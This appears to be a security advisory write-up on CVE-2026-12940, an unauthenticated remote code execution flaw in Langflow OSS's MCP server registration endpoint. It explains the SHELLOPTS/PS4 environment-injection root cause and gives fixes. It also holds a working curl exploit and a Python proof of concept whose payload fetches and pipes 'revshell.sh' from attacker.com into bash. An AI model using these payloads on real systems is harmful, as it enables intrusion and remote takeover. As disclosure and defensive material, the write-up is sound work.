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CVE-2026-12940 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in IBM Langflow OSS versions 1.0.0 through 1.10.1. The flaw resides in the MCP (Model Context Protocol) stdio launcher implementation, specifically within the `src/lfx/src/lfx/base/mcp/util.py` file. Langflow allows users to register external MCP stdio servers via the `POST /api/v2/mcp/servers/{name}` endpoint. The request payload is validated by the `MCPServerConfig` schema, which employs an allowlist for the `command` field and scans `args` for shell metacharacters. Environment variables are validated against a blocklist called DANGEROUS_ENV_VARS.
The vulnerability arises from two critical gaps in this validation. First, the environment variable blocklist in versions up to 1.10.1 fails to include SHELLOPTS, BASHOPTS, and PS4. Second, while the keys are checked, the values of environment variables are passed through verbatim without any sanitization. The MCP stdio launcher executes the configured command through a `bash -c` wrapper on Unix systems. This creates a dangerous chaining opportunity.
An unauthenticated attacker can exploit this by sending a crafted `POST` request to register an MCP server. The attacker sets the environment variable `SHELLOPTS=xtrace` (which enables Bash’s `set -x` tracing mode) and `PS4` to a command substitution payload like $(id > /tmp/pwned). Bash, when started with SHELLOPTS=xtrace, executes the `PS4` value as a command substitution before launching the main command. Because the `PS4` value is not sanitized, the attacker’s arbitrary shell command executes with the privileges of the Langflow process. This attack requires no authentication on a default Langflow installation where the `AUTO_LOGIN` feature is enabled by default, making it trivially exploitable over the network.
The root cause is a classic case of OS command injection (CWE-78) via environment variable injection. The incomplete blocklist and lack of value sanitization allow an attacker to bypass the intended restrictions. The fix implemented in version 1.10.2 adopts a more robust approach: launching the stdio server with `shell=False` (eliminating the `bash -c` wrapper entirely) and centralizing environment variable validation to block these dangerous variables.
DailyCVE Form:
Platform: Langflow OSS
Version: 1.0.0-1.10.1
Vulnerability: Unauthenticated RCE
Severity: CRITICAL (9.8)
date: 2026-07-30
Prediction: 2026-08-15
What Undercode Say:
Analytics indicate active scanning for exposed Langflow instances on port 7860. Attackers are leveraging automated scripts to chain the MCP registration endpoint with the environment variable injection to achieve initial access. The following command demonstrates the vulnerability:
curl -X POST http://target:7860/api/v2/mcp/servers/pwn \
-H "Content-Type: application/json" \
-d '{
"command": "bash",
"args": ["-c", "echo test"],
"env": {
"SHELLOPTS": "xtrace",
"PS4": "$(id > /tmp/pwned && echo exploited)"
}
}'
The `DANGEROUS_ENV_VARS` blocklist in the vulnerable code:
DANGEROUS_ENV_VARS = {
"LD_PRELOAD", "LD_LIBRARY_PATH", "LD_DEBUG", "LD_PROFILE",
"NODE_OPTIONS", "NODE_PATH", "PYTHONPATH", "PYTHONHOME",
"PERL5LIB", "PERLLIB", "RUBYLIB", "RUBYOPT", "BASH_ENV",
"ENV", "IFS", "CDPATH", "BASH_FUNC_", "GROUPS", "HOSTNAME"
}
SHELLOPTS, BASHOPTS, PS4 are missing
Exploit:
The exploit chain is straightforward:
- Identify a vulnerable Langflow OSS instance (version <= 1.10.1).
- Send a POST request to `/api/v2/mcp/servers/{name}` with a JSON payload.
- The payload includes
"command": "bash", innocuousargs, and malicious `env` containing `SHELLOPTS=xtrace` and a `PS4` with a command substitution. - The server registers the MCP server and, upon connection, launches `bash -c` with the injected environment.
- Bash processes
SHELLOPTS, executes the `PS4` substitution, and runs the attacker’s command.
Example PoC Python script:
import requests
import json
target = "http://target:7860"
payload = {
"command": "bash",
"args": ["-c", "echo test"],
"env": {
"SHELLOPTS": "xtrace",
"PS4": "$(curl http://attacker.com/revshell.sh | bash)"
}
}
response = requests.post(f"{target}/api/v2/mcp/servers/test", json=payload)
print(response.status_code)
Protection:
- Immediate: Upgrade to Langflow OSS version 1.10.2 or later. This version removes the `bash -c` wrapper by launching the stdio server with
shell=False, making the entire injection class structurally inert. - If unable to upgrade: As a temporary mitigation, disable the `AUTO_LOGIN` feature by setting the environment variable `AUTO_LOGIN=false` to enforce authentication for the MCP API endpoints. Additionally, restrict network access to the Langflow API port (default 7860) to trusted IP ranges only.
- Long-term: Implement a defense-in-depth strategy. Regularly audit environment variable blocklists and prefer using direct command execution without shell wrappers for any user-supplied inputs.
Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary operating system commands on the host running Langflow OSS. The attacker gains the privileges of the Langflow service process, which often runs with elevated permissions. This can lead to:
– Complete System Compromise: The attacker can install backdoors, create new user accounts, and pivot to other internal systems.
– Data Breach: Sensitive data, including credentials, API keys, and proprietary AI models stored or processed by Langflow, can be exfiltrated.
– Service Disruption: The attacker can terminate the Langflow process, delete critical files, or use the server as a launchpad for further attacks, such as DDoS or cryptocurrency mining.
– Lateral Movement: The compromised server can be used as a foothold to access other resources within the network, potentially leading to a full-scale enterprise compromise.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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